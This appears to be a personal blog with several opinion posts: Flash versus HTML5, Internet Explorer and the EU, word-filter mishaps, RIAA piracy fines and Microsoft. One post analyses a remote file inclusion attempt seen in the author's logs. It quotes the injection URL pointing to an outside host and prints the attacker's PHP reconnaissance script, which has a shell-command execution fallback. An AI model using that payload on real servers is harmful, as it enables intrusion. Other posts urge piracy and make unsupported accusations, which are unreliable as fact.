There are two main arguments to these ridiculous claims. The first is the emergence of HTML 5. HTML 5 finally allows video and audio playback without any plugins, and canvas - a tag which allows for complex drawing, embedding fonts, etc. etc. Things Flash has been able to do for years, has a huge head start on, and does really well. The problem that nobody seems to get is that not only does Internet Explorer still have majority market share, by a lot depending on who you ask - and Microsoft will NEVER support standards because it's directly bad for business. Aside from that, and the fact that every browser that will support HTML 5(ie: everyone else), will also implement it differently from each other, with different aesthetics, features, code, BUGS, etc. But even more crucial aside from those things, the HTML 5 spec itself is not even complete yet. It's not even finished, and it's not finished in a deadlock between the web giants who not only can't decide or agree on which video and audio formats are the best performance wise, but also who owns the rights to implement those formats in their browser and who'll have to pay massive royalties if the true patent/copyright holders agree to allow it at all at any point down the road. No one wants to properly look this up for a variety of reasons and so HTML 5 - supposed to bring the web together and herald a new dawn of the internet can only work if EVERYONE does in fact come together and implement it in exactly the same way; disregarding that ubiquitous HTML 5 means EVERYONE loses something, some everything. It benefits none of the powers that be to come together on HTML 5, the web is a magazine with some interaction. HTML will never push out Flash for web applications.

The other main argument is the Apple iPad - just announced. Which like the iPhone doesn't support HTML 5. Apple uses the old "Flash is too resource intensive" argument to convince you that limiting you from the full web is a good thing. The 75%+ of online media and interactive content and games you don't have access to from an iPad or iPhone or iPod. This simply isn't true. It's false. Both iPhone 3Gs and iPad could happily run the current version of Flash or Adobe AIR just like your laptop/desktop. And it's also entirely up to the developer and how they program how resource intensive they make their flash app/widget/game/etc. The only reason, listen up, the ONLY reason Apple does not support Flash, is because the Flash platform already powers so many games and useful tools and full blown applications on the internet it threatens Apple's very business model of the Itunes Store, and App Store. Apple wants companies to develop all their apps again specifically for the iPlatform and invest in it. If you made a Flash app that ran on the iPhone it would also run on Android and every other smart phone. If you invest in the iPlatform your app will only run on the iPlatform. If Apple was a monopoly the FTC would be pushing them down for their anti-competitive vindictive behaviour.

Apple doesn't block Flash support in their mobile products because they want to push innovation in HTML 5. If HTML 5 was advanced enough, or popular enough to be worth creating the caliber of applications possible on Flash, Apple would immediately configure mobile Safari to block, impede, and hinder the advancement of standards just like Microsoft with IE. In a heart beat. Apple promotes HTML 5 because they know it'll be years before it's anywhere close to where Flash is today, if ever. Apple is actually one of the powers that be preventing the HTML 5 standards from being finalized. Apple wants you locked into their platform. Apple doesn't care about advancing the web, or a better user experience, they care about the big media companies investing in their platform when they bring their content online. Apple wants the iPad to replace your tv, radio, and other media consumption devices. They do not care about the open web.

Adobe on the other hand continues to open up the Flash platform and benefits from creating a ubiquitous platform across desktop and mobile. There are fully open source versions of their Streaming and Application servers, and free and open source ways to develop for their platform. Anyone can build a Flash application, for the browser, desktop, Windows, Mac, Linux, Safari, Internet Explorer, Chrome, Firefox, Opera, etc. etc. Build one application and deploy everywhere using an incredibly powerful, scalable, and mature toolset. If you decide to invest in the Apple iPlatform, you may or may not after months of development time and costs even get your application onto a device, regardless you have to pay Apple to be a developer and submit it in the first place or even get access to their development tools, and they can remove your software from their platform and devices at a moments whim. They can and do literally remove your application from people's phones after being downloaded used without warning to backup the data put into or created by your app. Anytime for any reason. AND if you're lucky enough to get your application through all these extra months of hurdles and costs and lost revenue you're only gaining access to one small subset of mobile devices. Apple, if anything, has become the evil mind controlling overlords from their 1984 ad. Too pathetic to be ironic.

It is absolutely ridiculous to think the HTML 5 is going anywhere anytime soon, let alone even coming close to eclipsing Flash in any way. Not from Apple, they don't want anything to compete with their platform for getting applications on their devices - Flash or otherwise(HTML, Java, Silverlight), and not from anywhere else because it's just not mature, complete, or will over the next 12-24 months be implemented uniformly or consistently across browsers or operating systems. Even in the event that somehow somehow all these competitors will come together in blissful glee to reduce their own profit margins and upset shareholders in the name of benefiting the user and happy popcorn rainbows, it will still only have the capabilities of Flash 8-ish, by then Flash 11 will be out and there won't be a need for web browsers anymore because every site will have a dedicated Adobe AIR application front end and you'll use an Adobe AIR application to browse through a market place of Adobe AIR apps. Yes we're moving towards the cloud, and yes the cloud and desktop are becoming indistinguishable, but moving into the browser is only a temporary measure for some companies before they build a desktop front end for their service.

The iPad, iPhone, and iPod are merely secondary devices - frills. Every person with an iMobile device also has a desktop or laptop for work and actually managing their digital life. The iPlatform's position on Flash is exactly insignificant, and every single person I've seen raving for HTML 5 and the downfall of flash depends heavily on flash and its phenomenal capabilities. They're all idiots.

I was just reading comments on Digg relating to the story, a group a people that are supposed to know about tech, and I couldn't be more frustrated by the complete lack of understanding even amongst those people.

The biggest problem people have with the ruling is "it's Microsoft's operating system, they should be able to make whatever browser they want default."

I would agree with that but it's a lot deeper than that. Microsoft has majority market share. Internet Explorer not only doesn't follow web standards, but the IE team seems to deliberately work to go against web standards in instances where there's no performance or technical benefit to do so - Internet Explorer is vastly inferior when it comes to performance. It's another issue entirely that they deliberately don't patch security holes because just like Facebook, identity theft and viruses infecting users' computers translates into big bucks and 3rd party businesses solidifying their position as a platform(ie: people promote the use of Windows because they know it'll make users more prone to exploitation, and so they can sell you security software to fix problems that should be stopped on the operating system level.)

Anyway back to web standards, the Internet is an open place, Internet Explorer is a political tool used by a company to force the majority of people who just use the default browser to use a shitty browser that can't handle most of the web innovations and standards (Internet Explorer 8) and that leaves users behind so that a hugely significant amount of people are still using Internet Explorer 6! It's like 10 years old for fuck sake.

Web developers and designers often have to create sometimes entirely different code and severely limit the functionality of web apps just to get it to show up marginally correct in the various Internet Explorer attrocities still in wide use for no other reason than Microsoft wants to dominate the world and aims to do it by being directly malicious toward it's users and incompatible with the rest of the web to lock it's users into a sick cycle of dependence.

The reason Europe stepped in is because it's not just the saps that by their products that are affected, it's the entire Internet. Everyone is affected by the majority of people using some variety of Internet Explorer. Easily 60%+ of a developer/designer's time goes into trying to get a website to work in IE and deciding what features to take out because of it.  Google got so frustrated they developed Chrome frame, which is an Internet Explorer plugin that renders pages for IE. They did this because Internet Explorer can't/won't keep up with the rest of the web.

It's about time someone did something, Internet explorer is so insecure to it's users, and so detrimental to the web it's difinitively malware and Microsoft should be sued for intentionally distributing it at all with their software.

or don't.. what do i care...

Auto-censorship against sexual words in matter for children, set to block the word "cunt", has been known to block the Lincolnshire (UK) placename Scunthorpe. Likewise, a block against the word "penis" may block the Yorkshire (UK) placename Penistone; and at least one big web forum, set to block "twat", automatically changes "wristwatch" into "wris****ch", and refuses the name "Dick" even when it clearly means a man's name. Other examples are blocking "specialist" because it contains the drug name "cialis", and changing "Essex" to "Es***".

A bunch of entries where they attempted to visit variations on the url:

http://fightskillz.com/category////?_SERVER[DOCUMENT_ROOT]=http://www.solmae.co.kr///receipt/lib/_private/id1.txt?

It appears they attempted to run their own script located on the Korean server, in the root directory of the script that my blog is running at. It seems like a pretty juvenile attempt at hacking, a textbook copied attempt at php injection. For interest's sake the id1.txt file they were trying to run off my server contains the following

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

I had a look at id2.txt as well, just assuming there would be id2 if there was id1, which was much more comprehensive, seems to grab all kinds of system variables and information. Check it out below:

<?php
##[ Fx29ID ]##
fx("ID","FeeL"."CoMz");
$P   = @getcwd();
$IP  = @getenv("SERVER_ADDR");
$UID = fx29exec("id");
fx("SAFE",@safemode()?"ON":"OFF");
fx("OS",@PHP_OS);
fx("UNAME",@php_uname());
fx("SERVER",($IP)?$IP:"-");
fx("USER",@get_current_user());
fx("UID",($UID)?$UID:"uid=".@getmyuid()." gid=".@getmygid());
fx("DIR",$P);
fx("PERM",(@is_writable($P))?"[W]":"[R]");
fx("HDD","Used: ".hdd("used")." Free: ".hdd("free")." Total: ".hdd("total"));
fx("DISFUNC",@getdisfunc());
##[ FX29SHEXEC ]##
function fx($t,$c) { echo "$t: "; echo (is_array($c))?join(" ",$c):$c; echo "<br>"; }
function safemode() { return (@ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) ? TRUE : FALSE; }
function getdisfunc() { $rez = explode(",",@ini_get("disable_functions")); return (!empty($rez))?$rez:array(); }
function enabled($func) { return (function_exists($func) && is_callable($func) && !in_array($func,getdisfunc())) ? TRUE : FALSE; }
function fx29exec($cmd) {
  if (enabled("exec")) { exec($cmd,$o); $rez = join("\r\n",$o); }
  elseif (enabled("shell_exec")) { $rez = shell_exec($cmd); }
  elseif (enabled("system")) { @ob_start(); @system($cmd); $rez = @ob_get_contents(); @ob_end_clean(); }
  elseif (enabled("passthru")) { @ob_start(); passthru($cmd); $rez = @ob_get_contents(); @ob_end_clean(); }
  elseif (enabled("popen") && is_resource($h = popen($cmd.' 2>&1', 'r')) ) { while ( !feof($h) ) { $rez .= fread($h, 2096);  } pclose($h); }
  else { $rez = "Error!"; }
  return $rez;
}
function vsize($size) {
  if (!is_numeric($size)) { return FALSE; }
  else {
    if ( $size >= 1073741824 ) { $size = round($size/1073741824*100)/100 ." GB"; }
    elseif ( $size >= 1048576 ) { $size = round($size/1048576*100)/100 ." MB"; }
    elseif ( $size >= 1024 ) { $size = round($size/1024*100)/100 ." KB"; }
    else { $size = $size . " B"; }
    return $size;
  }
}
function hdd($type) {
  $P = @getcwd(); $T = @disk_total_space($P); $F = @disk_free_space($P); $U = $T - $U;
  $hddspace = array("total" => vsize($T), "free"  => vsize($F), "used"  => vsize($U));
  return $hddspace[$type];
}
die("FeeLCoMz");
?>

I guess they're aptly name id[1|2].txt for id-ing the system and used in that order to test for vulnerability without alerting people to the depth of access that would be granted by id2.txt if the targeted vulnerability existed on the victim server. I did a few Google searches and came up with a bunch of different ip addresses and a bunch of different servers hosting the exact same files. I guess somewhere out there.. in Milton Queensland Australia,  there's a young idiot trying to be a hacker...

The RIAA has bribed yet another jury and fined a woman $1.9 million for 'illegally' downloading 24 songs. Do people still pirate individual songs? Since I discovered torrenting I find it easier to pirate by the discography. I've been busy with other stuff but this article reminds me I haven't downloaded any music recently, and I have a long list of artists I wanna listen to. Download all the music you can, spread it around, share it with your friends and family, and support artists directly by going to their shows. Buy indapendent music.

With that said how much would you have had to pay the RIAA?

Here's a screenshot of my Itunes Music folder song count:

MATH: $1,900,000 / 24 songs = $80,000 per song

I have a bunch of podcasts and my own music in there, but according to bribed juries everywhere I currently owe the RIAA about $1,136,000,000, which for the other dyslexics out there is 1.136 billion dollars.

The RIAA suing people who barely pirate obsene amounts of money that they will never actually receive. It doesn't make sense why they're not more outraged at companies that make things like ipods. The current Ipod model has 120GB capacity, that's about 30,000 songs. WHY DOESN'T AN IPOD COST 2 BILLION DOLLARS THEN? Obviously most that music is pirated, millions of people have ipods and very few people in the world have spent $30,000 at 99c/song from the itunes store to fill it up. In case I haven't said it yet in this post, FUCK the RIAA.

Firefox

Safari

Chrome

Opera

I don't think it's gonna have much impact, just like a really ugly chick playing hard to get and then when you turn her down she tells you she'll only date you if you wear a different shirt every day and IF you're willing to do that you have a 1 in 50,000,000 chance of winning some money. Come on. Especially when there's 4 really hot chicks that put out and know what they're doing just around the corner, and soon in the case of Chrome pre-installed everywhere.

If you browse around MSN there are just tons of ads trying to get you to use their services. Silverlight is total shit, one developer I've spoken to really like it, but it's just not viable, and he was a snob, even the implementations used on live msn sites to promote their products have pixelated poorly made graphics and are slow, it just looks really unappealing. But they're pushing it becasue they want to dominate rich media. Never gonna happen. I read somewhere they're now offering free POP access to Hotmail or Windows Live Mail or whatever the hell they're calling it now(how can they build up so much resentment from their users that they have to rebrand all of their products every few months). Previously it only worked in Outlook Express and a few random email programs that had to pay for the right. But that's so behind, I've got Gmail smtp access for free for moths now, and if Gmail wasn't doing it for me anymore I could just export everything, mail-contacts-calendar-documents, to any conceivable format and move, for that reason I and anyone else that uses Google services does so because their services are awesome. My grandfather tried to leave hotmail about a year ago to gmail but had to keep the hotmail calendar cause it's just not worth retyping his entire calendar, so he's locked in and hates them for it, no matter what they call themselves. Just like enabling free pop access they will have to open up their services but it'll be too late. Even if they somehow magically build usefull open tools by the time they're forced to do it, even blind consumers who just use whatever their computer come with will just hate them so much for all the abuse. It looks like they don't understand that most of their users are from the boom from 1999-2003ish who are just locked into their services and are turning against them. They're user base just isn't growing proportionlly to the rate of internet users. And it bleeds into their other businesses. They want to be in home automation with Micorosft surface and walls covered in wallpaper that's really interactive computer screens and project natal. I personally wouldn't get natal just because it's a camera with a dedicated internet connection built by Microsoft a shady manipulating untrustworthy company that sits in your living room constantly pointed at you while you watch tv and react to commercials. You need trust to enter someone's home like that, and trust has to be earned not bought.